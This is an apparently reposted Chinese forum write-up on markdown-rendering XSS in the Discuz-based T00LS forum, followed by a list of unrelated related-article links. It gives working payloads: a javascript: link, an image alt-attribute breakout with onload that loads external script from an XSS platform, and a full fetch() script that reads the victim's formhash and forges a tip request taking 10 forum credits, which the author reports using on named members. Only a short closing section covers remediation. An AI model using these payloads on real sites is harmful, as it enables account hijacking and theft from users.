T00LS在前段时间开启了markdown支持,这个漏洞也正是markdown的问题导致。

Markdown是一种可以使用普通文本编辑器编写的标记语言,通过简单的标记语法,它可以使普通文本内容具有一定的格式。

Markdown本身是一种标记语言,在网页上的应用也很简单,比如当我在markdown中输入**加粗**,那么经过转换之后,这个短句将会变成<strong>加粗</strong>。其实也是一系列的html转换,由此就会出现很多XSS的问题。

下面我结合T00LS的实例简单说一说Markdown的XSS漏洞。

最基础的栗子,点击触发XSS

很多人了解markdown以后,可能想到的第一个XSS就是这个。

我们知道markdown可以插入超链接。用法如下:

[王松的博客](http://www.hackersb.cn)

渲染出来的效果如下:

王松的博客

那么如果我们使用伪协议呢?比如:

[XSS](javascript:alert(1))

答案是可以弹框。然后我们弹出Cookies就会发现Discuz的cookies都设置了httponly,也就说说无法用javascript来获取cookies。

但是我们可以获取Discuz的formhash呀,在Discuz中,为了防止CSRF,几乎每个操作都使用了formhash,我们能获取到formhash,就可以操作当前账户几乎所有的动作了。

那么用js如何获取Dz的formhash呢?

在帖子正文页,我们可能会需要回帖,所以肯定会有formhash,如下:

那就很简单了。

获取到formhash以后,我们可以选择直接发送ajax请求来用formhash做点“有趣的事情”,比如发帖,转账?

高级一点,自动触发

在上面的操作中,我们需要被攻击者点击超链接才可以触发漏洞,那么我们能不能直接触发呢?

我们先来看看在markdown中如何使用图片吧。栗子如下:

![头像](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

渲染效果如下:

我们先来看看转换后的html长啥样吧:

我们在[]中输入的内容变成了html中的alt,那么如果我们在这中间用双引号是否能够逃逸出来,加个onload或者onerror属性呢?

比如:

![头像" onload=alert(1)](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

输出结果如下:

很明显alert后面多了一个双引号,所以我们简单改一下payload,注释掉后面:

![头像" onload=alert(1);//](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

然后刷新以后:

果然执行了…… 这个时候已经自动触发了。

输出样式如下:

一个能自动触发的XSS,可比需要点击的XSS威力大了许多。

但是在实战中我们要执行的js代码可能会非常长,所以在onload里面写js难免会很麻烦。

so 我们需要引入外部js。

再高级一些,引入外部js

这次我们直接点,payload如下:

![头像" onload=s=createElement('script');body.appendChild(s);s.src='外部js的url';//](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

比如我们引用一个弹出formhash的js:

这里我用到了安全盒子的XSS平台,地址是x.secbox.cn

成功弹出formhash:

实例:转走别人的Tubi

我们先来选一个目标,这里我就选择我们团队的核心大佬 @phithon 了。

为了不误伤其他小伙伴,我这里就编辑我以前的帖子,发给phithon师傅去看,从而触发XSS。

基本思路如下:

  1. p神访问触发XSS
  2. 获取formhash
  3. ajax请求模拟赞赏帖子

这里选择赞赏贴子的原因是因为银行转账需要输入论坛密码,无法模拟转账,我们只是做漏洞演示,所以赞赏就够啦。

赞赏也是可以自定义tubi的,我们就来“偷”10个p神的tubi吧~

payload编写

很简单的payload就不解释了,如下:

var formhash = document.getElementsByName('formhash')[0].value;
fetch("https://www.t00ls.net/misc.php?action=userrate&userratesubmit=yes&infloat=yes&inajax=1&inajax=1", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate, br",
"Upgrade-Insecure-Requests": "1",
"Connection": 'keep-alive',
},
body: "formhash=" + formhash + "&tid=39705&do=dashang&handlekey=userrate&score=%2B10&reason=thanks"
}).then(function(res) {
if (res.ok) {
alert("谢谢你的10Tubi!!!");
}
}, function(e) {
alert("Error submitting form!");
});

然后引入一下,即可“偷”tubi:

那么我们现在把这个帖子发给phithon师傅去看。

好了,我们现在再把这个url发给雨神:

战果:

感谢phithon和lcy的1tubi,还有雨神的10tubi。

实例:蠕虫

不敢写,想想整个T00LS都弥漫着蠕虫的气息,我就觉得害怕。

漏洞修复及总结

markdown转换到html后,再进行一系列的过滤吧,html属性白名单什么的,也可以使用开源的项目,比如:http://htmlpurifier.org/

其实这个拿到Discuz的formhash能做的事情很多很多…… 比如置顶帖子,修改版规,等等,如果是有后台权限的管理员触发,或许还可以模拟后台的一些操作,危害是挺大的。

最后再次感谢phithon和lcy的1tubi,还有雨神的10tubi。

抱拳了老铁。介绍:请勿用于非法用途,本文仅供技术交流学习探讨。本文部分资源来源于网络,如有侵权请联系版主删除。

来自T00ls的帖子-XSS的奇技淫巧的更多相关文章

  1. PHP清理跨站XSS xss_clean 函数 整理自codeigniter Security

    PHP清理跨站XSS xss_clean 函数 整理自codeigniter Security 由Security Class 改编成函数xss_clean 单文件直接调用.BY吠品. //来自cod ...

  2. 反射型xss绕过IE xss filter

    反射xss利用方法,绕过IE XSS Filter 假设 1.php页面代码如下: echo $_GET['str']; 使用IE浏览器访问该页面 1.php?str=<xss code> ...

  3. Unity3D 之脚本架构,优雅地管理你的代码

    本文参考雨松MOMO大神的帖子: 图片全部来自他的帖子(请允许我偷懒下) --------------------------------------------------------------- ...

  4. android studio导jar包找不到类的解决方法

    今天更新了universal-image-loader-1.9.5.jar文件,studio死活找不到其中相关的类,上网百度试了很多办法,总算解决了,具体方法跟一篇老外的帖子的差不多,这里分享下. 解 ...

  5. 一行代码设置TForm颜色的前世今生(属性赋值引起函数调用,然后发消息实现改变显示效果),TForm的初始颜色在dfm中设置了clBtnFace色

    来自万一的帖子:http://www.cnblogs.com/del/archive/2008/04/27/1173658.html的确做到了一行代码设置TForm控件的颜色(一点感想:Delphi程 ...

  6. 关于pragma pack的用法(一)

    一个很重要的参数#pragma pack(n) 数据边界对齐方式:以如下结构为例: struct {                    char a;                    WOR ...

  7. 如何在cocos2d项目中enable ARC

    如何在cocos2d项目中enable ARC 基本思想就是不支持ARC的代码用和支持ARC的分开,通过xcode中设置编译选项,让支持和不支持ARC的代码共存. cocos2d是ios app开发中 ...

  8. MFC:ID命名和数字约定

    今天早上双击一个刚刚编译完成的应用程序,界面刚刚显示,又自动触发了一个菜单事件,打开了一个网页.真的很意外.关闭窗口,再次双击,又自动打开了一个网页,再关闭,再双击,又不自动打开网页了.这是什么情况? ...

  9. Firefox 新增容器标签:可同时登录多个用户

    Mozilla昨天在Firefox夜间构建版50.0a1中增加了一个名为“容器标签Container Tabs”的实验性功能. Mozilla的工程师称,该功能可以将用户的浏览会话分到不同的容器中.这 ...

随机推荐

  1. JavaWeb -- Jsp中的 EL表达式

    lEL 全名为Expression Language.EL主要作用: l获取数据: •EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的web域 中检索java对象.获取数据.(某个web ...

  2. 一款简易的CSS3扁平化风格联系表单

    CSS3扁平化风格联系表单是一款CSS3简易联系表单非常清新,整体外观不是那么华丽,但是表单扁平化的风格让人看了非常舒服,同时利用了HTML5元素的特性,表单的验证功能变得也相当简单.经测试效果相当不 ...

  3. python 各种装饰器示例(python3)

    参考网址: Python中的各种装饰器详解_python_脚本之家http://www.jb51.net/article/63892.htm 一.函数式装饰器: 1.装饰器无参数,被装饰对象无参数 d ...

  4. shell获取ip地址

    Mac: $ ifconfig en0|awk -F"[ ]+" '/inet/{print $2}' fe80::a211:9bff:fe15:%en0 192.168.0.10 ...

  5. 开发一个app需要多少钱

    App应用开发是目前最热门的产业,很多企业都想通过app的开发来进入移动互联网市场分一杯羹. 那么你一定很想知道开发一个app需要多少钱吧?那下面企业帮就来帮大家计算一下费用吧. 面对app抄袭成风的 ...

  6. 在struts2.5版本中使用DMI遇到问题

    struts2.5 为了提升安全性,添加了 allomethod 这么个玩意. 解决方法是在配置文件中添加: <package name="exam" extends=&qu ...

  7. gym强化学习入门demo——随机选取动作 其实有了这些动作和反馈值以后就可以用来训练DNN网络了

    # -*- coding: utf-8 -*- import gym import time env = gym.make('CartPole-v0') observation = env.reset ...

  8. linux 部署nginx----端口转发

    一.解压安装 tar zxvf nginx-.tar.gz cd nginx- ./configure --with-http_stub_status_module --with-http_ssl_m ...

  9. 原生MapReduce开发样例

    一.需求 data: 将相同名字合并为一个,并计算出平均数 tom 小明 jerry 2哈 tom tom 小明 二.编码 1.导入jar包 2.编码 2.1Map编写 package com.wzy ...

  10. web 压力测试工具ab压力测试详解

    Web性能压力测试工具之ApacheBench(ab)详解 原文:http://www.ha97.com/4617.html PS:网站性能压力测试是性能调优过程中必不可少的一环.只有让服务器处在高压 ...